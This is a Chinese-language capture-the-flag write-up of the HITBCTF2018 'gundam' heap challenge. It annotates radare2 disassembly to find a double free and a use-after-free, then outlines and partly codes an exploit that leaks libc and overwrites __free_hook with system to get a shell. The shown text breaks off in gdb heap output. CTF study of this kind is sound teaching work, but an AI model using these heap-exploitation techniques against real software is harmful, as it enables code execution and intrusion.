6.1.19 pwn HITBCTF2018 gundam

下载文件

题目复现

  1. $ file gundam
  2. gundam: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5643cd77b84ace35448d38fc49e4d3668ef45fea, stripped
  3. $ checksec -f gundam
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 4 gundam
  6. $ strings libc-2.26.so | grep "GNU C"
  7. GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
  8. Compiled by GNU CC version 6.4.0 20171010.

保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。

玩一下:

  1. $ ./gundam
  2. ... # 创建了两个 gundam
  3. 1 . Build a gundam
  4. 2 . Visit gundams
  5. 3 . Destory a gundam
  6. 4 . Blow up the factory
  7. 5 . Exit
  8. Your choice : 2
  9. Gundam[0] :AAAA
  10. Type[0] :Freedom
  11. Gundam[1] :BBBB
  12. Type[1] :Strike Freedom
  13. 1 . Build a gundam
  14. 2 . Visit gundams
  15. 3 . Destory a gundam
  16. 4 . Blow up the factory
  17. 5 . Exit
  18. Your choice : 3
  19. Which gundam do you want to Destory:0 # 第一次销毁 gundam 0,成功
  20. 1 . Build a gundam
  21. 2 . Visit gundams
  22. 3 . Destory a gundam
  23. 4 . Blow up the factory
  24. 5 . Exit
  25. Your choice : 3
  26. Which gundam do you want to Destory:0 # 第二次销毁 gundam 0,成功
  27. 1 . Build a gundam
  28. 2 . Visit gundams
  29. 3 . Destory a gundam
  30. 4 . Blow up the factory
  31. 5 . Exit
  32. Your choice : 2 # 此时剩下 gundam 1
  33. Gundam[1] :BBBB
  34. Type[1] :Strike Freedom
  35. 1 . Build a gundam
  36. 2 . Visit gundams
  37. 3 . Destory a gundam
  38. 4 . Blow up the factory
  39. 5 . Exit
  40. Your choice : 4 # 销毁 factory
  41. Done!
  42. 1 . Build a gundam
  43. 2 . Visit gundams
  44. 3 . Destory a gundam
  45. 4 . Blow up the factory
  46. 5 . Exit
  47. Your choice : 2 # gundam 1 没有变化
  48. Gundam[1] :BBBB
  49. Type[1] :Strike Freedom
  50. 1 . Build a gundam
  51. 2 . Visit gundams
  52. 3 . Destory a gundam
  53. 4 . Blow up the factory
  54. 5 . Exit
  55. Your choice : 3 # 第三次销毁 gundam 0,失败
  56. Which gundam do you want to Destory:0
  57. Invalid choice

根据上面的结果也能猜出一些东西。比如在没有销毁 factory 的情况下,可以多次销毁 gundam。而销毁 factory 不会对没有销毁的 gundam 造成影响。

题目解析

main

  1. [0x000009e0]> pdf @ main
  2. / (fcn) main 122
  3. | main ();
  4. | ; var int local_18h @ rbp-0x18
  5. | ; var int local_12h @ rbp-0x12
  6. | ; var int local_8h @ rbp-0x8
  7. | ; DATA XREF from 0x000009fd (entry0)
  8. | 0x000010c5 push rbp
  9. | 0x000010c6 mov rbp, rsp
  10. | 0x000010c9 sub rsp, 0x20
  11. | 0x000010cd mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
  12. | 0x000010d6 mov qword [local_8h], rax
  13. | 0x000010da xor eax, eax
  14. | 0x000010dc mov eax, 0
  15. | 0x000010e1 call sub.setvbuf_22 ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
  16. | ; JMP XREF from 0x00001192 (main + 205)
  17. | 0x000010e6 mov eax, 0
  18. | 0x000010eb call sub.puts_aea ; int puts(const char *s)
  19. | 0x000010f0 lea rax, [local_12h]
  20. | 0x000010f4 mov edx, 8
  21. | 0x000010f9 mov rsi, rax
  22. | 0x000010fc mov edi, 0
  23. | 0x00001101 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  24. | 0x00001106 lea rax, [local_12h]
  25. | 0x0000110a mov rdi, rax
  26. | 0x0000110d call sym.imp.atoi ; int atoi(const char *str)
  27. | 0x00001112 mov dword [local_18h], eax ; 读入选项
  28. | 0x00001115 cmp dword [local_18h], 5 ; [0x5:4]=257
  29. | ,=< 0x00001119 ja 0x1185
  30. | | 0x0000111b mov eax, dword [local_18h]
  31. | | 0x0000111e lea rdx, [rax*4]
  32. | | 0x00001126 lea rax, [0x00001368] ; 获取跳转表
  33. | | 0x0000112d mov eax, dword [rdx + rax] ; 获取对应表项
  34. | | 0x00001130 movsxd rdx, eax
  35. | | 0x00001133 lea rax, [0x00001368]
  36. | | 0x0000113a add rax, rdx ; '('
  37. \ | 0x0000113d jmp rax ; 跳到相应函数
  38. [0x000009e0]> px 20 @ 0x00001368+0x4
  39. - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
  40. 0x0000136c d7fd ffff e3fd ffff effd ffff fbfd ffff ................
  41. 0x0000137c 07fe ffff
  42. [0x000009e0]> pd 20 @ 0x0000113f
  43. : 0x0000113f mov eax, 0
  44. : 0x00001144 call sub.malloc_b7d ; 选项 1
  45. ,==< 0x00001149 jmp 0x1192
  46. |: 0x0000114b mov eax, 0
  47. |: 0x00001150 call sub.Gundam__u__:_s_ef4 ; 选项 2
  48. ,===< 0x00001155 jm p 0x1192
  49. ||: 0x00001157 mov eax, 0
  50. ||: 0x0000115c call sub.Which_gundam_do_you_want_to_Destory:_d32 ; 选项 3
  51. ,====< 0x00001161 jmp 0x1192
  52. |||: 0x00001163 mov eax, 0
  53. |||: 0x00001168 call sub.Done_e22 ; 选项 4
  54. ,=====< 0x0000116d jmp 0x1192
  55. ||||: 0x0000116f lea rdi, str.Exit.... ; 0x135c ; "Exit...."
  56. ||||: 0x00001176 call sym.imp.puts ; int puts(const char *s)
  57. ||||: 0x0000117b mov edi, 0
  58. ||||: 0x00001180 call sym.imp.exit ; 选项 5
  59. ||||: ; JMP XREF from 0x00001119 (main)
  60. ||||: 0x00001185 lea rdi, str.Invalid_choice ; 0x130d ; "Invalid choice"
  61. ||||: 0x0000118c call sym.imp.puts ; int puts(const char *s)
  62. ||||: 0x00001191 nop
  63. ||||| ; JMP XREF from 0x00001149 (main + 132)
  64. ||||| ; JMP XREF from 0x00001155 (main + 144)
  65. ||||| ; JMP XREF from 0x00001161 (main + 156)
  66. ||||| ; JMP XREF from 0x0000116d (main + 168)
  67. `````=< 0x00001192 jmp 0x10e6 ; main+0x21

一个典型的 switch-case 跳转结构。

Build a gundam

  1. [0x000009e0]> pdf @ sub.malloc_b7d
  2. / (fcn) sub.malloc_b7d 437
  3. | sub.malloc_b7d (int arg_8h);
  4. | ; var int local_20h @ rbp-0x20
  5. | ; var int local_1ch @ rbp-0x1c
  6. | ; var int local_18h @ rbp-0x18
  7. | ; var int local_10h @ rbp-0x10
  8. | ; var int local_8h @ rbp-0x8
  9. | ; var int local_0h @ rbp-0x0
  10. | ; arg int arg_8h @ rbp+0x8
  11. | ; UNKNOWN XREF from 0x00001144 (main + 127)
  12. | ; CALL XREF from 0x00001144 (main + 127)
  13. | 0x00000b7d push rbp
  14. | 0x00000b7e mov rbp, rsp
  15. | 0x00000b81 sub rsp, 0x20
  16. | 0x00000b85 mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
  17. | 0x00000b8e mov qword [local_8h], rax
  18. | 0x00000b92 xor eax, eax
  19. | 0x00000b94 mov qword [local_18h], 0 ; 初始化 [local_18h]
  20. | 0x00000b9c mov qword [local_10h], 0 ; 初始化 [local_10h]
  21. | 0x00000ba4 mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出当前 gundam 数量
  22. | 0x00000baa cmp eax, 8
  23. | ,=< 0x00000bad ja 0xd17 ; 如果大于 8,函数返回
  24. | | 0x00000bb3 mov edi, 0x28 ; 否则继续
  25. | | 0x00000bb8 call sym.imp.malloc ; [local_18h] = malloc(0x28) 分配一块内存作为 gundam
  26. | | 0x00000bbd mov qword [local_18h], rax
  27. | | 0x00000bc1 mov rax, qword [local_18h]
  28. | | 0x00000bc5 mov edx, 0x28 ; '('
  29. | | 0x00000bca mov esi, 0
  30. | | 0x00000bcf mov rdi, rax
  31. | | 0x00000bd2 call sym.imp.memset ; memset([local_18h], 0, 0x28) 进行初始化
  32. | | 0x00000bd7 mov edi, 0x100
  33. | | 0x00000bdc call sym.imp.malloc ; [local_10h] = malloc(0x100) 分配一块内存作为 name
  34. | | 0x00000be1 mov qword [local_10h], rax
  35. | | 0x00000be5 cmp qword [local_10h], 0
  36. | ,==< 0x00000bea jne 0xc02
  37. | || 0x00000bec lea rdi, str.error ; 0x1295 ; "error !"
  38. | || 0x00000bf3 call sym.imp.puts ; int puts(const char *s)
  39. | || 0x00000bf8 mov edi, 0xffffffff ; -1
  40. | || 0x00000bfd call sym.imp.exit ; void exit(int status)
  41. | || ; JMP XREF from 0x00000bea (sub.malloc_b7d)
  42. | `--> 0x00000c02 lea rdi, str.The_name_of_gundam_: ; 0x129d ; "The name of gundam :"
  43. | | 0x00000c09 mov eax, 0
  44. | | 0x00000c0e call sym.imp.printf ; int printf(const char *format)
  45. | | 0x00000c13 mov rax, qword [local_10h]
  46. | | 0x00000c17 mov edx, 0x100
  47. | | 0x00000c1c mov rsi, rax
  48. | | 0x00000c1f mov edi, 0
  49. | | 0x00000c24 call sym.imp.read ; read(0, [local_10h], 0x100) 读入字符到 name
  50. | | 0x00000c29 mov rax, qword [local_18h] ; 取出 gundam
  51. | | 0x00000c2d mov rdx, qword [local_10h]
  52. | | 0x00000c31 mov qword [rax + 8], rdx ; 将 name 放到 gundam->name
  53. | | 0x00000c35 lea rdi, str.The_type_of_the_gundam_: ; 0x12b2 ; "The type of the gundam :"
  54. | | 0x00000c3c mov eax, 0
  55. | | 0x00000c41 call sym.imp.printf ; int printf(const char *format)
  56. | | 0x00000c46 lea rax, [local_20h]
  57. | | 0x00000c4a mov rsi, rax
  58. | | 0x00000c4d lea rdi, [0x000012cb] ; "%d"
  59. | | 0x00000c54 mov eax, 0
  60. | | 0x00000c59 call sym.imp.__isoc99_scanf ; 读入 type 到 [local_20h]
  61. | | 0x00000c5e mov eax, dword [local_20h]
  62. | | 0x00000c61 test eax, eax
  63. | ,==< 0x00000c63 js 0xc6d
  64. | || 0x00000c65 mov eax, dword [local_20h] ; 大于等于 0 时继续
  65. | || 0x00000c68 cmp eax, 2
  66. | ,===< 0x00000c6b jle 0xc83 ; 小于等于 2 时跳转
  67. | ||| ; JMP XREF from 0x00000c63 (sub.malloc_b7d)
  68. | |`--> 0x00000c6d lea rdi, str.Invalid. ; 0x12ce ; "Invalid."
  69. | | | 0x00000c74 call sym.imp.puts ; int puts(const char *s)
  70. | | | 0x00000c79 mov edi, 0
  71. | | | 0x00000c7e call sym.imp.exit ; void exit(int status)
  72. | | | ; JMP XREF from 0x00000c6b (sub.malloc_b7d)
  73. | `---> 0x00000c83 mov eax, dword [local_20h]
  74. | | 0x00000c86 movsxd rdx, eax
  75. | | 0x00000c89 mov rax, rdx
  76. | | 0x00000c8c shl rax, 2
  77. | | 0x00000c90 add rax, rdx ; '('
  78. | | 0x00000c93 shl rax, 2 ; 最后得到 rax = rax * 20
  79. | | 0x00000c97 lea rdx, str.Freedom ; 0x202020 ; "Freedom" ; 取出起始地址
  80. | | 0x00000c9e add rdx, rax ; rdx 为字符串 type 的地址
  81. | | 0x00000ca1 mov rax, qword [local_18h]
  82. | | 0x00000ca5 add rax, 0x10 ; 取出 gundam->type
  83. | | 0x00000ca9 mov rsi, rdx
  84. | | 0x00000cac mov rdi, rax
  85. | | 0x00000caf call sym.imp.strcpy ; strcpy(gundam->type, type) 将字符串复制过去
  86. | | 0x00000cb4 mov rax, qword [local_18h] ; 取出 gundam
  87. | | 0x00000cb8 mov dword [rax], 1 ; 将 gundam->flag 赋值为 1
  88. | | 0x00000cbe mov dword [local_1ch], 0 ; 循环计数 i,初始化为 0
  89. | ,==< 0x00000cc5 jmp 0xd02 ; 开始循环
  90. | || ; JMP XREF from 0x00000d06 (sub.malloc_b7d)
  91. | .---> 0x00000cc7 mov eax, dword [local_1ch]
  92. | :|| 0x00000cca lea rdx, [rax*8]
  93. | :|| 0x00000cd2 lea rax, [0x002020a0] ; 取出 factory 地址
  94. | :|| 0x00000cd9 mov rax, qword [rdx + rax] ; 找到 factory[i]
  95. | :|| 0x00000cdd test rax, rax
  96. | ,====< 0x00000ce0 jne 0xcfe ; 不为 0 时继续下一次循环
  97. | |:|| 0x00000ce2 mov eax, dword [local_1ch] ; 否则继续
  98. | |:|| 0x00000ce5 lea rcx, [rax*8]
  99. | |:|| 0x00000ced lea rax, [0x002020a0]
  100. | |:|| 0x00000cf4 mov rdx, qword [local_18h] ; 取出 gundam
  101. | |:|| 0x00000cf8 mov qword [rcx + rax], rdx ; 将 gundam 放到 factory[i]
  102. | ,=====< 0x00000cfc jmp 0xd08 ; 结束循环
  103. | ||:|| ; JMP XREF from 0x00000ce0 (sub.malloc_b7d)
  104. | |`----> 0x00000cfe add dword [local_1ch], 1 ; i = i + 1
  105. | | :|| ; JMP XREF from 0x00000cc5 (sub.malloc_b7d)
  106. | | :`--> 0x00000d02 cmp dword [local_1ch], 8 ; 最多能有 9 个 gundam
  107. | | `===< 0x00000d06 jbe 0xcc7 ; 循环继续
  108. | | | ; JMP XREF from 0x00000cfc (sub.malloc_b7d)
  109. | `-----> 0x00000d08 mov eax, dword [0x0020208c] ; [0x20208c:4]=0
  110. | | 0x00000d0e add eax, 1 ; gundam 数量 + 1
  111. | | 0x00000d11 mov dword [0x0020208c], eax ; [0x20208c:4]=0 ; 放回去
  112. | | ; JMP XREF from 0x00000bad (sub.malloc_b7d)
  113. | `-> 0x00000d17 mov eax, 0
  114. | 0x00000d1c mov rcx, qword [local_8h]
  115. | 0x00000d20 xor rcx, qword fs:[0x28]
  116. | ,=< 0x00000d29 je 0xd30
  117. | | 0x00000d2b call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  118. | | ; JMP XREF from 0x00000d29 (sub.malloc_b7d)
  119. | `-> 0x00000d30 leave
  120. \ 0x00000d31 ret
  121. [0x000009e0]> px 60 @ 0x00202020
  122. - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
  123. 0x00202020 4672 6565 646f 6d00 0000 0000 0000 0000 Freedom.........
  124. 0x00202030 0000 0000 5374 7269 6b65 2046 7265 6564 ....Strike Freed
  125. 0x00202040 6f6d 0000 0000 0000 4167 6965 7300 0000 om......Agies...
  126. 0x00202050 0000 0000 0000 0000 0000 0000

通过分析这个函数,可以得到 gundam 结构体(大小为0x28)和 factory(地址0x002020a0) 数组:

  1. struct gundam {
  2. uint32_t flag;
  3. char *name;
  4. char type[24];
  5. } gundam;
  6. struct gundam *factory[9];

另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 0x0020208c

从读入 name 的操作中我们发现,程序并没有在末尾设置 \x00,可能导致信息泄漏(以\x0a结尾)。

Visit gundams

  1. [0x000009e0]> pdf @ sub.Gundam__u__:_s_ef4
  2. / (fcn) sub.Gundam__u__:_s_ef4 254
  3. | sub.Gundam__u__:_s_ef4 (int arg_8h);
  4. | ; var int local_ch @ rbp-0xc
  5. | ; var int local_8h @ rbp-0x8
  6. | ; arg int arg_8h @ rbp+0x8
  7. | ; CALL XREF from 0x00001150 (main + 139)
  8. | 0x00000ef4 push rbp
  9. | 0x00000ef5 mov rbp, rsp
  10. | 0x00000ef8 sub rsp, 0x10
  11. | 0x00000efc mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
  12. | 0x00000f05 mov qword [local_8h], rax
  13. | 0x00000f09 xor eax, eax
  14. | 0x00000f0b mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出 gundam_num
  15. | 0x00000f11 test eax, eax
  16. | ,=< 0x00000f13 jne 0xf26 ; 不等于 0 时跳转
  17. | | 0x00000f15 lea rdi, str.No_gundam_produced ; 0x1322 ; "No gundam produced!"
  18. | | 0x00000f1c call sym.imp.puts ; int puts(const char *s)
  19. | ,==< 0x00000f21 jmp 0xfd7
  20. | || ; JMP XREF from 0x00000f13 (sub.Gundam__u__:_s_ef4)
  21. | |`-> 0x00000f26 mov dword [local_ch], 0 ; 循环计数 i,初始化为 0
  22. | |,=< 0x00000f2d jmp 0xfcd ; 开始循环
  23. | || ; JMP XREF from 0x00000fd1 (sub.Gundam__u__:_s_ef4)
  24. | .---> 0x00000f32 mov eax, dword [local_ch]
  25. | :|| 0x00000f35 lea rdx, [rax*8]
  26. | :|| 0x00000f3d lea rax, [0x002020a0]
  27. | :|| 0x00000f44 mov rax, qword [rdx + rax] ; 取出 factory[i]
  28. | :|| 0x00000f48 test rax, rax
  29. | ,====< 0x00000f4b je 0xfc9 ; 为 0 时跳转,下一次循环
  30. | |:|| 0x00000f4d mov eax, dword [local_ch]
  31. | |:|| 0x00000f50 lea rdx, [rax*8]
  32. | |:|| 0x00000f58 lea rax, [0x002020a0]
  33. | |:|| 0x00000f5f mov rax, qword [rdx + rax]
  34. | |:|| 0x00000f63 mov eax, dword [rax] ; 取出 factory[i]->flag
  35. | |:|| 0x00000f65 test eax, eax
  36. | ,=====< 0x00000f67 je 0xfc9 ; flag 为 0 时跳转,下一次循环
  37. | ||:|| 0x00000f69 mov eax, dword [local_ch]
  38. | ||:|| 0x00000f6c lea rdx, [rax*8]
  39. | ||:|| 0x00000f74 lea rax, [0x002020a0]
  40. | ||:|| 0x00000f7b mov rax, qword [rdx + rax]
  41. | ||:|| 0x00000f7f mov rdx, qword [rax + 8] ; 取出 factory[i]->name
  42. | ||:|| 0x00000f83 mov eax, dword [local_ch]
  43. | ||:|| 0x00000f86 mov esi, eax
  44. | ||:|| 0x00000f88 lea rdi, str.Gundam__u__:_s ; 0x1336 ; "\nGundam[%u] :%s"
  45. | ||:|| 0x00000f8f mov eax, 0
  46. | ||:|| 0x00000f94 call sym.imp.printf ; 打印出 factory[i]->name
  47. | ||:|| 0x00000f99 mov eax, dword [local_ch]
  48. | ||:|| 0x00000f9c lea rdx, [rax*8]
  49. | ||:|| 0x00000fa4 lea rax, [0x002020a0]
  50. | ||:|| 0x00000fab mov rax, qword [rdx + rax]
  51. | ||:|| 0x00000faf lea rdx, [rax + 0x10] ; 取出 factory[i]->type
  52. | ||:|| 0x00000fb3 mov eax, dword [local_ch]
  53. | ||:|| 0x00000fb6 mov esi, eax
  54. | ||:|| 0x00000fb8 lea rdi, str.Type__u__:_s ; 0x1346 ; "Type[%u] :%s\n"
  55. | ||:|| 0x00000fbf mov eax, 0
  56. | ||:|| 0x00000fc4 call sym.imp.printf ; 打印出 factory[i]->type
  57. | ||:|| ; JMP XREF from 0x00000f4b (sub.Gundam__u__:_s_ef4)
  58. | ||:|| ; JMP XREF from 0x00000f67 (sub.Gundam__u__:_s_ef4)
  59. | ``----> 0x00000fc9 add dword [local_ch], 1 ; i = i + 1
  60. | :|| ; JMP XREF from 0x00000f2d (sub.Gundam__u__:_s_ef4)
  61. | :|`-> 0x00000fcd cmp dword [local_ch], 8 ; 最多有 9 gundam
  62. | `===< 0x00000fd1 jbe 0xf32 ; 循环继续
  63. | | ; JMP XREF from 0x00000f21 (sub.Gundam__u__:_s_ef4)
  64. | `--> 0x00000fd7 mov eax, 0
  65. | 0x00000fdc mov rcx, qword [local_8h]
  66. | 0x00000fe0 xor rcx, qword fs:[0x28]
  67. | ,=< 0x00000fe9 je 0xff0
  68. | | 0x00000feb call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  69. | | ; JMP XREF from 0x00000fe9 (sub.Gundam__u__:_s_ef4)
  70. | `-> 0x00000ff0 leave
  71. \ 0x00000ff1 ret

该函数先判断 gundam_num 是否为 0,如果不是,再根据 factory[i] 和 factory[i]->flag 判断某个 gundam 是否存在,如果存在,就将它的 name 和 type 打印出来。

Destory a gundam

  1. [0x000009e0]> pdf @ sub.Which_gundam_do_you_want_to_Destory:_d32
  2. / (fcn) sub.Which_gundam_do_you_want_to_Destory:_d32 240
  3. | sub.Which_gundam_do_you_want_to_Destory:_d32 ();
  4. | ; var int local_ch @ rbp-0xc
  5. | ; var int local_8h @ rbp-0x8
  6. | ; CALL XREF from 0x0000115c (main + 151)
  7. | 0x00000d32 push rbp
  8. | 0x00000d33 mov rbp, rsp
  9. | 0x00000d36 sub rsp, 0x10
  10. | 0x00000d3a mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
  11. | 0x00000d43 mov qword [local_8h], rax
  12. | 0x00000d47 xor eax, eax
  13. | 0x00000d49 mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出 gundam_num
  14. | 0x00000d4f test eax, eax
  15. | ,=< 0x00000d51 jne 0xd64 ; 不等于 0 时跳转
  16. | | 0x00000d53 lea rdi, str.No_gundam ; 0x12d7 ; "No gundam"
  17. | | 0x00000d5a call sym.imp.puts ; int puts(const char *s)
  18. | ,==< 0x00000d5f jmp 0xe07
  19. | || ; JMP XREF from 0x00000d51 (sub.Which_gundam_do_you_want_to_Destory:_d32)
  20. | |`-> 0x00000d64 lea rdi, str.Which_gundam_do_you_want_to_Destory: ; 0x12e8 ; "Which gundam do you want to Destory:"
  21. | | 0x00000d6b mov eax, 0
  22. | | 0x00000d70 call sym.imp.printf ; int printf(const char *format)
  23. | | 0x00000d75 lea rax, [local_ch]
  24. | | 0x00000d79 mov rsi, rax
  25. | | 0x00000d7c lea rdi, [0x000012cb] ; "%d"
  26. | | 0x00000d83 mov eax, 0
  27. | | 0x00000d88 call sym.imp.__isoc99_scanf ; 读入序号 i 到 [local_ch]
  28. | | 0x00000d8d mov eax, dword [local_ch]
  29. | | 0x00000d90 cmp eax, 8
  30. | |,=< 0x00000d93 ja 0xdb2 ; 如果大于 8,函数结束
  31. | || 0x00000d95 mov eax, dword [local_ch] ; 否则继续
  32. | || 0x00000d98 mov eax, eax
  33. | || 0x00000d9a lea rdx, [rax*8]
  34. | || 0x00000da2 lea rax, [0x002020a0]
  35. | || 0x00000da9 mov rax, qword [rdx + rax] ; 取出 factory[i]
  36. | || 0x00000dad test rax, rax
  37. | ,===< 0x00000db0 jne 0xdc5 ; 如果不为 0,跳转
  38. | ||| ; JMP XREF from 0x00000d93 (sub.Which_gundam_do_you_want_to_Destory:_d32)
  39. | ||`-> 0x00000db2 lea rdi, str.Invalid_choice ; 0x130d ; "Invalid choice"
  40. | || 0x00000db9 call sym.imp.puts ; int puts(const char *s)
  41. | || 0x00000dbe mov eax, 0
  42. | ||,=< 0x00000dc3 jmp 0xe0c
  43. | ||| ; JMP XREF from 0x00000db0 (sub.Which_gundam_do_you_want_to_Destory:_d32)
  44. | `---> 0x00000dc5 mov eax, dword [local_ch]
  45. | || 0x00000dc8 mov eax, eax
  46. | || 0x00000dca lea rdx, [rax*8]
  47. | || 0x00000dd2 lea rax, [0x002020a0]
  48. | || 0x00000dd9 mov rax, qword [rdx + rax] ; 取出 factory[i]
  49. | || 0x00000ddd mov dword [rax], 0 ; 将 factory[i]->flag 置为 0
  50. | || 0x00000de3 mov eax, dword [local_ch]
  51. | || 0x00000de6 mov eax, eax
  52. | || 0x00000de8 lea rdx, [rax*8]
  53. | || 0x00000df0 lea rax, [0x002020a0]
  54. | || 0x00000df7 mov rax, qword [rdx + rax]
  55. | || 0x00000dfb mov rax, qword [rax + 8] ; 取出 factory[i]->name
  56. | || 0x00000dff mov rdi, rax
  57. | || 0x00000e02 call sym.imp.free ; free(factory[i]->name)
  58. | || ; JMP XREF from 0x00000d5f (sub.Which_gundam_do_you_want_to_Destory:_d32)
  59. | `--> 0x00000e07 mov eax, 0
  60. | | ; JMP XREF from 0x00000dc3 (sub.Which_gundam_do_you_want_to_Destory:_d32)
  61. | `-> 0x00000e0c mov rcx, qword [local_8h]
  62. | 0x00000e10 xor rcx, qword fs:[0x28]
  63. | ,=< 0x00000e19 je 0xe20
  64. | | 0x00000e1b call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  65. | | ; JMP XREF from 0x00000e19 (sub.Which_gundam_do_you_want_to_Destory:_d32)
  66. | `-> 0x00000e20 leave
  67. \ 0x00000e21 ret

该函数用于销毁 gundam,它先将 gundam->flag 置为 0,再释放掉 gundam->name。

这里有几个问题:

  • 该函数是通过 factory[i] 来判断某个 gundam 是否存在,而在销毁 gundam 后并没有将 factory[i] 置空,导致 factory[i]->name 可能被多次释放
  • name 指针没有被置空,可能导致 UAF
  • 销毁 gundam 后没有将 gundam_num 减 1

Blow up the factory

  1. [0x000009e0]> pdf @ sub.Done_e22
  2. / (fcn) sub.Done_e22 210
  3. | sub.Done_e22 (int arg_8h);
  4. | ; var int local_ch @ rbp-0xc
  5. | ; var int local_8h @ rbp-0x8
  6. | ; arg int arg_8h @ rbp+0x8
  7. | ; CALL XREF from 0x00001168 (main + 163)
  8. | 0x00000e22 push rbp
  9. | 0x00000e23 mov rbp, rsp
  10. | 0x00000e26 sub rsp, 0x10
  11. | 0x00000e2a mov rax, qword fs:[0x28] ; [0x28:8]=0x2170 ; '('
  12. | 0x00000e33 mov qword [local_8h], rax
  13. | 0x00000e37 xor eax, eax
  14. | 0x00000e39 mov dword [local_ch], 0 ; 循环计数 i,初始化为 0
  15. | ,=< 0x00000e40 jmp 0xec7 ; 开始循环
  16. | | ; JMP XREF from 0x00000ecb (sub.Done_e22)
  17. | .--> 0x00000e45 mov eax, dword [local_ch]
  18. | :| 0x00000e48 lea rdx, [rax*8]
  19. | :| 0x00000e50 lea rax, [0x002020a0]
  20. | :| 0x00000e57 mov rax, qword [rdx + rax] ; 取出 factory[i]
  21. | :| 0x00000e5b test rax, rax
  22. | ,===< 0x00000e5e je 0xec3 ; 0 时跳转,下一次循环
  23. | |:| 0x00000e60 mov eax, dword [local_ch] ; 否则继续
  24. | |:| 0x00000e63 lea rdx, [rax*8]
  25. | |:| 0x00000e6b lea rax, [0x002020a0]
  26. | |:| 0x00000e72 mov rax, qword [rdx + rax]
  27. | |:| 0x00000e76 mov eax, dword [rax] ; 取出 factory[i]->flag
  28. | |:| 0x00000e78 test eax, eax
  29. | ,====< 0x00000e7a jne 0xec3 ; 不等于 0 时跳转,下一次循环
  30. | ||:| 0x00000e7c mov eax, dword [local_ch] ; 否则继续
  31. | ||:| 0x00000e7f lea rdx, [rax*8]
  32. | ||:| 0x00000e87 lea rax, [0x002020a0]
  33. | ||:| 0x00000e8e mov rax, qword [rdx + rax] ; 取出 factory[i]
  34. | ||:| 0x00000e92 mov rdi, rax
  35. | ||:| 0x00000e95 call sym.imp.free ; free(factory[i])
  36. | ||:| 0x00000e9a mov eax, dword [local_ch]
  37. | ||:| 0x00000e9d lea rdx, [rax*8]
  38. | ||:| 0x00000ea5 lea rax, [0x002020a0]
  39. | ||:| 0x00000eac mov qword [rdx + rax], 0 ; factory[i] 置为 0
  40. | ||:| 0x00000eb4 mov eax, dword [0x0020208c] ; [0x20208c:4]=0 ; 取出 gundam_num
  41. | ||:| 0x00000eba sub eax, 1 ; gundam_num -= 1
  42. | ||:| 0x00000ebd mov dword [0x0020208c], eax ; [0x20208c:4]=0 ; 写回去
  43. | ||:| ; JMP XREF from 0x00000e5e (sub.Done_e22)
  44. | ||:| ; JMP XREF from 0x00000e7a (sub.Done_e22)
  45. | ``---> 0x00000ec3 add dword [local_ch], 1 ; i = i + 1
  46. | :| ; JMP XREF from 0x00000e40 (sub.Done_e22)
  47. | :`-> 0x00000ec7 cmp dword [local_ch], 8 ; 最多有 9 个 gundam
  48. | `==< 0x00000ecb jbe 0xe45 ; 循环继续
  49. | 0x00000ed1 lea rdi, str.Done ; 0x131c ; "Done!"
  50. | 0x00000ed8 call sym.imp.puts ; int puts(const char *s)
  51. | 0x00000edd nop
  52. | 0x00000ede mov rax, qword [local_8h]
  53. | 0x00000ee2 xor rax, qword fs:[0x28]
  54. | ,=< 0x00000eeb je 0xef2
  55. | | 0x00000eed call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  56. | | ; JMP XREF from 0x00000eeb (sub.Done_e22)
  57. | `-> 0x00000ef2 leave
  58. \ 0x00000ef3 ret

该函数会找出所有 factory[i] 不为 0,且 factory[i]->flag 为 0 的 gundam,然后将该 gundam 结构体释放掉,factory[i] 置为 0,最后 gundam_num 每次减 1。

经过这个过程,销毁 gundam 留下的问题基本解决了,除了 name 指针依然存在。

Exploit

所以利用过程如下:

  1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出 __free_hooksystem 的地址。
  2. 利用 double free,将 __free_hook 修改为 system
  3. 当调用 free 的时候就会调用 system,获得 shell。

leak

  1. def leak():
  2. global __free_hook_addr
  3. global system_addr
  4. for i in range(9):
  5. build('A'*7)
  6. for i in range(7):
  7. destroy(i) # tcache bin
  8. destroy(7) # unsorted bin
  9. blow_up()
  10. for i in range(8):
  11. build('A'*7)
  12. visit()
  13. leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
  14. libc_base = leak - 0x3dac78 # 0x3dac78 = libc_base - leak
  15. __free_hook_addr = libc_base + libc.symbols['__free_hook']
  16. system_addr = libc_base + libc.symbols['system']
  17. log.info("libc base: 0x%x" % libc_base)
  18. log.info("__free_hook address: 0x%x" % __free_hook_addr)
  19. log.info("system address: 0x%x" % system_addr)

chunk 被放进 unsorted bin 时:

  1. gdb-peda$ vmmap heap
  2. Start End Perm Name
  3. 0x0000555555757000 0x0000555555778000 rw-p [heap]
  4. gdb-peda$ x/30gx 0x0000555555757000+0x10
  5. 0x555555757010: 0x0000000000000000 0x0700000000000000 <-- counts
  6. 0x555555757020: 0x0000000000000000 0x0000000000000000
  7. 0x555555757030: 0x0000000000000000 0x0000000000000000
